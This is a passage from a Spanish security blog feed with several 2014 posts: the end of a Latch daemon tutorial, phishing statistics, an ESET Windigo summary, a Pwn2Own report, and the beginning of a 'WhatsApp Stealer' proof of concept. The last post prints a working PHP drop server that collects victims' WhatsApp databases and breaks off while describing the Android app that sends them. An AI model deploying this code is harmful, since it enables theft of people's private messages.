directorio correspondiente al runlevel en el que queremos iniciar/parar 
el demonio. Los directorios con los enlaces a los scripts de los 
demonios son los de

/etc/rcX.d/

donde X se corresponde con el número de runlevel. Así, por ejemplo, en 
el directorio /etc/rc5.d/ tenemos los enlaces a los scripts de los 
demonios que se iniciarán/pararán al entrar en el runlevel 5. Ahora que 
ya sabemos dónde hemos de colocar nuestros enlaces ya podemos crearlos.  
 
Es
 muy importante el nombre que le damos a los enlaces ya que de él 
depende si el demonio se inicia o se para y el orden en que se 
inicia/para. La sintaxis que se sigue en el nombre del enlace es la 
siguiente:

S (para iniciar el demonio apuntado por el enlace)
K (para parar el demonio apuntado por el enlace) y luego
 el orden en que se ejecutará; que puede ir desde 00 hasta 99 (siendo 00
 la máxima prioridad). Además puede haber varios con la misma 
prioridad.  
 
Bueno
 al tajo!! Ahora para crear los enlaces simbólicos debemos hacerlo en 
los runlevels adecuados. Para iniciar en el runlevel 5 (multiusuario 
gráfico) y 3 (multiusuario) y para pararlo en el runlevel 6 (reinicio) y
 0 (apagado). Lo hacemos con el comando ln de la siguiente manera: 
 
ln -s /etc/init.d/daemonlatch /etc/rc5.d/S30daemonlatch ln -s /etc/init.d/daemonlatch /etc/rc3.d/S30daemonlatch ln -s /etc/init.d/daemonlatch /etc/rc6.d/K05daemonlatch ln -s /etc/init.d/daemonlatch /etc/rc0.d/K05daemonlatch 
<div>
 </div>

<div>
Ya tenemos listo nuestro demonio!!!</div>

<div>
 </div>

<div>
Tan
 solo nos queda probarlo. Para ello simularemos que uno de los usuarios 
crea un archivo cifrado que se llamará 'importante' en su /home (igual 
lo podemos hacer con una carpeta)</div>

<div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGbOA7aMeY5wT3ddE3RIMyhvmFEiG2tp05Sw6zRzQjd91cgj1yyWPAqhizs0pjlO0mWK2eSOhIJeBQ4Osmu7e7ATAnrSOvGVieu9zzco7pk3j-pwbDpLRrcFTf-WZpZoaTbxITekCeOpY/s1600/Captura+de+pantalla+de+2014-03-22+21:24:02.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGbOA7aMeY5wT3ddE3RIMyhvmFEiG2tp05Sw6zRzQjd91cgj1yyWPAqhizs0pjlO0mWK2eSOhIJeBQ4Osmu7e7ATAnrSOvGVieu9zzco7pk3j-pwbDpLRrcFTf-WZpZoaTbxITekCeOpY/s1600/Captura+de+pantalla+de+2014-03-22+21:24:02.png" /></a></div>

<div>
$touch /home/manuel/importante</div>

<div>
<div>
$gpg -c /home/manuel/importante</div>
 
 
<div>
$rm /home/importante
 
Esto creará importante.gpg del cual ambos usuarios tendrán la clave.
 
Arrancamos el demonio:
 
#/etc/ini.d/daemonlatch start 
 
Cada
 cierto tiempo (el que hayamos estimado en el archivo daemonkeeper) 
nuestro demonio conectará con el servidor de LATCH consultando el estado
 de las llaves...
 
En
 cuanto uno de los dos usuarios que tienen las llaves en su poder 
bloquee su llave en LATCH, el archivo deja de estar disponible para 
nadie... y no estará accesible hasta que ambos lo decidan...
 
Con
 esto hemos conseguido que estos usuarios tengan un archivo mancomunado y
 pleno control en el acceso, les hemos dado una capa nueva de 
protección...
 
Podríamos
 hacer esto más complejo y elegante, como por ejemplo llevar un sistema 
de log mas pensado, hacer un fichero de configuración para el demonio y 
que recoja las variables de él, etc, etc....
 
Un saludo y sed buenos...</div>
</div>

Demonizando Latch para proteger archivos con dos llaves

Antes de nada querría dar las gracias a Helloween por tomarle prestada un trozo de su portada del magnífico álbum "Keeper of seven keys...

Phishing Scam: una táctica de atracción que conmociona al mundo cibernético

El
 phishing es un ciberdelito reconocido hoy en día e incluso Google no 
está a salvo de este fraude. Phishing es típicamente un correo 
electrónico fraudulento que se hace pasar por legítimo para recopilar 
información confidencial de los usuarios. Los spammers utilizan técnicas
 avanzadas para conseguir que los usuarios hagan clic en los enlaces de 
phishing mientras que revisan su correo. Recientemente, los 
investigadores de <a href="http://www.symantec.com/connect/blogs/google-docs-users-targeted-sophisticated-phishing-scam" target="_blank">Symantec</a> han encontrado un fraude de phishing sofisticado dirigido a los usuarios de Google Docs y Google Drive. 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAusgSIcFskawrEGmqutJhvuq9kd4Yz9sLdZPrctRyB464pqO4OzKwIIJs11QF27TaFsSP3ybgQ2oFD9I0DFJripPDJIaQWkR-oTdDXHgfibpu8ONcJtLlXfQdGHwAo9jkDsvCGG8kF2Rj/s1600/Spammers-Phishing-Google-Accounts-using-Google-Docs.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAusgSIcFskawrEGmqutJhvuq9kd4Yz9sLdZPrctRyB464pqO4OzKwIIJs11QF27TaFsSP3ybgQ2oFD9I0DFJripPDJIaQWkR-oTdDXHgfibpu8ONcJtLlXfQdGHwAo9jkDsvCGG8kF2Rj/s1600/Spammers-Phishing-Google-Accounts-using-Google-Docs.png" width="269" /></a></div>

 Los
 hackers utilizan la palabra "documentos" en el asunto de un correo 
electrónico y piden al usuario comprobar un importante documento en 
Google Docs con un clic en el enlace incluido. El enlace va a una página
 de inicio de sesión falsa de Google Docs, donde el usuario tiene que 
proporcionar un nombre de usuario y contraseña. La página falsa 
está alojada en el servidor de Google y se cifra con SSL para hacer que 
parezca más real. El fraude fue hecho haciendo una carpeta en Google 
Drive firmada como pública, subiendo un archivo, y utiliza la función de
 vista previa de Google Drive en Docs. Tan pronto como los usuarios 
introduzcan información de inicio de sesión sobre dicha página y pulsen 
el botón "sign-in", se ejecutará un script PHP en un servidor web 
comprometido que recogerá las credenciales del usuario. 
<a href="https://www.blogger.com/null" name="more"></a> Algunos datos Phishing: Si nos fijamos en los años anteriores podemos ver un aumento dramático en los fraudes de phishing. Según el <a href="http://www.emc.com/collateral/fraud-report/rsa-online-fraud-report-012014.pdf" target="_blank">informe de EMC</a>,
 en el último año 2013, se realizaron casi 450.000 ataques de phishing 
y, como resultado, se produjo una pérdida estimada de más de 5,9 mil 
millones. Los estafadores (scammers) utilizan diferentes técnicas de 
phishing como ataques tipo bouncer, ataques precisos, envío masivo de 
correo y email bombers. 
 
<div class="separator" style="clear: both; text-align: center;">
 </div>

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgizjRy9jf8dKLqv6Nbdil_cMPMqe9sPBLS2rPVKeOf_i1ZM4MsO8vG5E7iJDeA-VfFHSfkfv4I6vbx6PitIGUgYQaoTHYwliv2yDc7MoLId66WFGgs_oTqDz61tbRO886Xd0ChlZke3F6R/s1600/Phishing+Facts.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgizjRy9jf8dKLqv6Nbdil_cMPMqe9sPBLS2rPVKeOf_i1ZM4MsO8vG5E7iJDeA-VfFHSfkfv4I6vbx6PitIGUgYQaoTHYwliv2yDc7MoLId66WFGgs_oTqDz61tbRO886Xd0ChlZke3F6R/s1600/Phishing+Facts.png" width="400" /></a></div>

 


En
 2013, los principales países destinatarios fueron los EE.UU. y Canadá 
con el 63%, mientras que Europa, Oriente Medio y África se quedó con el 
28% del volumen de phishing. La región de Asia Pacífico, Japón y Oceanía
 fueron del 7% y en América Latina se mantuvo con un 4% en volumen de 
phishing. 
<div class="separator" style="clear: both; text-align: center;">
 </div>

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj93YE8ee7_mjNxYbJVqrANLKWd08r1_CtxlctVZt5YP4eZeBPvjxarX-GcS_zNwGaseHnUfhCaebJol2i-iNpG11wqewoks68VagDLUqezpUcnEBP9HAPf_Xhma6hFbLUZPd5R0Hq-2Vjt/s1600/PHISHING+BY+GEOGRAPHY.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj93YE8ee7_mjNxYbJVqrANLKWd08r1_CtxlctVZt5YP4eZeBPvjxarX-GcS_zNwGaseHnUfhCaebJol2i-iNpG11wqewoks68VagDLUqezpUcnEBP9HAPf_Xhma6hFbLUZPd5R0Hq-2Vjt/s1600/PHISHING+BY+GEOGRAPHY.png" width="400" /></a></div>

 

 Los principales países que fueron influenciados por phishing en 2013
 fueron EE.UU., Reino Unido, Alemania, India, Sudáfrica, Canadá, Países 
Bajos, Colombia, Australia y Brasil. Si nos fijamos en la pérdida que se
 produjo debido a los fraudes de phishing en los diferentes países, 
Reino Unido se mantuvo en la cima con $467 millones , mientras que 
Alemania se situó en segunda posición con $386 millones.

<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: medium none;">
 <tbody>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Countries</div>
</td>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Phishing Volume</div>
</td>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Estimated Loss</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
UK</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
31%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$467
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Germany</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
25%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$386
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
South
 Africa</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
15%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$222
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
India</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
54%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$225
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Australia</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
21%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$87
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
China</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
14%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$59
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Colombia</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
43%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$95
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Brazil</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
39%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$86
 millions</div>
</td>
 </tr>
<tr>
 <td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
Mexico</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
8%</div>
</td>
 <td style="border-color: -moz-use-text-color windowtext windowtext -moz-use-text-color; border-style: none solid solid none; border-width: medium 1pt 1pt medium; padding: 0cm 5.4pt; width: 159.6pt;" valign="top" width="213"><div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: center;">
$19
 millions</div>
</td>
 </tr>
</tbody></table>

 Algunas precauciones sencillas para mantenerse alejado de ataques de phishing: 
 • No haga clic en vínculos desconocidos, ya que le pueden redirigir a una página web falsa para recoger sus credenciales. • Preferiblemente escriba la dirección URL en lugar de hacer clic en cualquier enlace recibido por correo. •
 Si se le está pidiendo información de su tarjeta de crédito o cualquier
 información financiera, compruebe la autenticidad de la página <a href="https://www.clickssl.com/" target="_blank">web con HTTPS</a> y el icono de candado. • Siempre verifique su cuenta bancaria y de <a href="https://www.clickssl.com/blog/secure-credit-card-while-shopping-online" target="_blank">tarjetas de crédito</a> con regularidad para observar cualquier transacción sospechosa. • Utilice un filtro de phishing y software anti-virus que puede protegerle contra el malware.

Phishing Scam: una táctica de atracción que conmociona al mundo cibernético

El phishing es un ciberdelito reconocido hoy en día e incluso Google no está a salvo de este fraude. Phishing es típicamente un correo el...

Operación #Windigo: malware utilizado para atacar más de 500.000 computadoras

Desde el año pasado venimos publicando información sobre códigos maliciosos que afectan Linux. Tal es el caso de <a href="http://www.welivesecurity.com/la-es/2014/02/21/analisis-profundidad-linuxebury/" rel="nofollow" target="_blank">Linux/Ebury</a> un backdoor OpenSSH utilizado para controlar los servidores y robar credenciales y <a href="http://www.welivesecurity.com/la-es/2013/04/29/linuxcdorked-a-nuevo-backdoor-apache-utilizado-masivamente-propagar-blackhole/" rel="nofollow" target="_blank">Linux/Cdorked</a>
 un backdoor HTTP utilizado para redirigir el tráfico Web. Sin embargo, 
después de una muy importante investigación desarrollada por el <a href="http://www.welivesecurity.com/la-es/2014/03/18/operacion-windigo-malware-utilizado-para-atacar-mas-500-000-computadoras/" rel="nofollow" target="_blank">Laboratorio de Investigación de ESET</a>,
 en colaboración con CERT-Bund (Swedish National Infrastructure for 
Computing) y otros organismos, se pudo determinar que ambos casos están 
relacionados y pertenecen a una campaña de infección denominada <a href="http://www.welivesecurity.com/wp-content/uploads/2014/03/Operaci%C3%B3n-Windigo-ESET-Espa%C3%B1ol.pdf" rel="nofollow" target="_blank">Windigo</a> [PDF]. 
 
Con esta campaña los atacantes lograron infectar miles de servidores 
Linux y Unix, los cuales una vez comprometidos son usados para robar 
credenciales SSH, para redirigir a quienes visitan los sitios web a 
contenido malicioso y para enviar spam. 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeIu4lDbKXqCnP_AvH9542cdoWfhyphenhyphenCNp6MOnk6ON5r0CncEUMW2J6aehXeWxB1W5X2mvKz06DUs5SmqiE6CTQt7Lmf1pUq5nV3r3-AuI50FATKd_MQH0Tz-BL1p5h_Au1sz_fBstBZNW7y/s1600/Windingo_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeIu4lDbKXqCnP_AvH9542cdoWfhyphenhyphenCNp6MOnk6ON5r0CncEUMW2J6aehXeWxB1W5X2mvKz06DUs5SmqiE6CTQt7Lmf1pUq5nV3r3-AuI50FATKd_MQH0Tz-BL1p5h_Au1sz_fBstBZNW7y/s1600/Windingo_1.jpg" width="400" /></a></div>
 
 
Esta operación ha afectado servidores y empresas de alto perfil, entre 
las que se incluyen cPanel (la empresa tras el famoso panel de control 
de hosting de sitios Web) y kernel.org de la Fundación Linux (el 
repositorio principal de código fuente para el núcleo de Linux. 
 
De acuerdo con nuestro análisis, más de 25.000 servidores se han visto 
afectados en los últimos dos años, de los cuales más de 10.000 aún están
 infectados. Si bien la cantidad de equipos afectados no está cerca de 
los millones que puede afectar un código malicioso en Windows, es 
importante tener en cuenta que esta cantidad es muy significativa si se 
tiene presente que cada uno de estos sistemas tienen acceso a ancho de 
banda considerable, almacenamiento, potencia de cálculo y la memoria. En
 América Latina, los reportes indican aproximadamente 900 servidores 
infectados en Brasil, más de 250 en Argentina y 300 en México. 
 
<a href="http://www.welivesecurity.com/la-es/2014/03/18/operacion-windigo-malware-utilizado-para-atacar-mas-500-000-computadoras/">Contenido completo en fuente original ESET Latinoamérica</a> 
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

Desde el año pasado venimos publicando información sobre códigos maliciosos que afectan Linux. Tal es el caso de Linux/Ebury un backdoor Op...

Todos los navegadores caen en Pwn2Own 2014

Los días 12 y 13 de marzo se celebró <a href="http://www.pwn2own.com/" rel="nofollow" target="_blank">una nueva edición del Pwn2Own</a>,
 el concurso donde los descubridores de vulnerabilidades para los 
principales navegadores en diferentes sistemas operativos y plugins se 
llevan importantes premios económicos. Internet Explorer, Firefox, 
Chrome y Safari, no se libraron de los ataques y mostraron su cara más 
débil. 
 
Pwn2Own es el evento anual que aglutina a los mejores investigadores de 
seguridad y donde se ponen a prueba los navegadores web más populares en
 diferentes sistemas operativos, así como en los plugins más atacados: 
Adobe Reader, Flash y Java. Pwn2Own, que se celebra en la ciudad 
canadiense de Vancouver, está patrocinado por la empresa Zero Day 
Initiative ZDI de HP, una compañía que se encarga de poner en contacto a
 investigadores de seguridad y compañías de software para garantizar una
 publicación coordinada de vulnerabilidades. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJFqI9iteQvRJpYZrzyax3CPGOOmOTP6pnwhPOr5GXPepNzCW74VsoOliZpG_IsGRKhzz2qCBET_JvxOKsa99KT6w_XE3KZ8Z_9kE2mDJhuzvmnMzMjB6KanuFLECLlG8POzHDWCydNweG/s1600/pwn2ownmobile.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJFqI9iteQvRJpYZrzyax3CPGOOmOTP6pnwhPOr5GXPepNzCW74VsoOliZpG_IsGRKhzz2qCBET_JvxOKsa99KT6w_XE3KZ8Z_9kE2mDJhuzvmnMzMjB6KanuFLECLlG8POzHDWCydNweG/s1600/pwn2ownmobile.jpeg" width="400" /></a></div>
 
 
<a href="http://www.pwn2own.com/2014/03/pwn2own-results-for-wednesday-day-one/" rel="nofollow" target="_blank">El primer día</a>
 se cerró con cinco intentos exitosos contra otros tantos productos 
diferentes, que se llevaron 400.000 dólares en premios más otros 82.000 
en donaciones a la Cruz Roja Canadiense en el evento Pwn4Fun. 
 
En el Pwn4Fun, Google mostró un exploit contra Apple Safari que 
conseguía lanzar la Calculadora como root en Mac OS X. Mientras que ZDI 
presentó un exploit de múltiples fases, que incluía una fuga de la 
"sandbox", contra Microsoft Internet Explorer, que conseguía ejecutar la
 Calculadora Científica (con permisos intermedios). 
En el Pwn2Own propiamente dicho, Jüri Aedla consiguió la ejecución de 
código en Mozilla Firefox a través de una lectura/escritura fuera de 
límites. Mariusz Mlynski, mostró dos vulnerabilidades, también contra 
Mozilla Firefox, la primera permitía la escalada de privilegios mientras
 que la segunda permitía evitar las medidas de seguridad del navegador. 
 
Por otra parte, el Equipo VUPEN consiguió cuatro ataques exitosos, tres 
de ellos con resultado final de ejecución de código. El primero contra 
Adobe Flash, por un uso después de liberar memoria con un salto de la 
"sandbox" de Internet Explorer. Contra Adobe Reader un desbordamiento de
 búfer junto con un escape de la "sandbox" PDF y contra Firefox un uso 
después de liberar memoria. Por ultimo, un escape de la "sandbox" de 
Microsoft Internet Explorer. 
 
<a href="http://www.pwn2own.com/2014/03/pwn2own-results-thursday-day-two/" rel="nofollow" target="_blank">El segundo día</a>
 fue igualmente productivo con siete participantes contra cinco 
productos, que consiguieron 450.000 dólares en premios. Lo que hace un 
total de 850.000 dólares en premios. 
 
Un participante anónimo presentó una vulnerabilidad de lectura/escritura
 arbitraria contra Google Chrome que permitía evitar la "sandbox" y 
lograr la ejecución de código. Sebastian Apelt y Andreas Schmidt 
presentaron una vulnerabilidad en el kernel y dos de uso después de 
librar memoria contra Internet Explorer, que conseguían ejecutar la 
Calculadora con permisos del sistema. 
 
Por otra parte Liang Chen de Keen Team, mostró un desbordamiento de 
búfer junto con un escape de la "sandbox" que afectaba a Apple Safari. 
George Hotz, presentó un ataque contra Mozilla Firefox, con 
lectura/escritura fuera de límites. Por el Equipo VUPEN contra Google 
Chrome un uso después de liberar que afectaba tanto a Blink como a 
WebKit junto con un escape de la "sandbox" y por último de Zeguang Zhou 
de team509 y Liang Chen del Keen Team un desbordamiento de búfer contra 
Adobe Flash que permitía escapar de la "sandbox". Todos estos problemas 
permitían la ejecución de código. 
 
Todas las vulnerabilidades han sido reportadas de forma responsable y 
los fabricantes ya trabajan en actualizaciones para corregir estos 
problemas. 
 
Fuente: <a href="http://unaaldia.hispasec.com/2014/03/los-principales-navegadores-caen-en-el.html" rel="nofollow" target="_blank">Hispasec</a> 
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

Los días 12 y 13 de marzo se celebró una nueva edición del Pwn2Own , el concurso donde los descubridores de vulnerabilidades para los prin...

Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)

¿Es
 posible subir y leer los chats de Whatsapp de un smartphone desde otra 
aplicación de Android? Por supuesto que sí. Sólo necesitamos que la 
aplicación maliciosa haya sido instalada aceptando los permisos para 
leer la tarjeta SD del dispositivo 
(android.permission.READ_EXTERNAL_STORAGE). 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpyPu-BRQjrR-PJc0N3y1EZA1S0xVMnLKS9jneTPr0O_MypnsWOZbe9ZCvI9TlUeNcBFtv547xU7i5UerYCR2tsnQmSNs8MUl5ZaMGXSViOeJ3vxl4p4KaGbKFuLBIQsZQWwn-HhSTzAK/s1600/whatsapp-hack-valunerbility-app.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpyPu-BRQjrR-PJc0N3y1EZA1S0xVMnLKS9jneTPr0O_MypnsWOZbe9ZCvI9TlUeNcBFtv547xU7i5UerYCR2tsnQmSNs8MUl5ZaMGXSViOeJ3vxl4p4KaGbKFuLBIQsZQWwn-HhSTzAK/s1600/whatsapp-hack-valunerbility-app.jpg" width="400" /></a></div>
 Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora <a href="http://bas.bosschert.nl/steal-whatsapp-database/" target="_blank">Bas Bosschert ha publicado una PoC</a> con unas pocas modificaciones. Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:
 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
 
$uploaddir = "/tmp/whatsapp/";
 
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . " ";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . " ";
  echo "Type: " . $_FILES["file"]["type"] . " ";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB ";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];
 
  $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
  }
?>
 
<html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html></code></pre>


 Después debemos configurar nuestro php.ini para subir ficheros grandes: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M</code></pre>

<a href="https://www.blogger.com/null" name="more"></a>
 Lo siguiente que necesitamos es crear la aplicación de Android que 
suba los ficheros de la base de datos de WhatsApp hacia el servidor web.
 Para ello creamos un proyecto en Eclipse y empezamos modificando el 
fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet: 
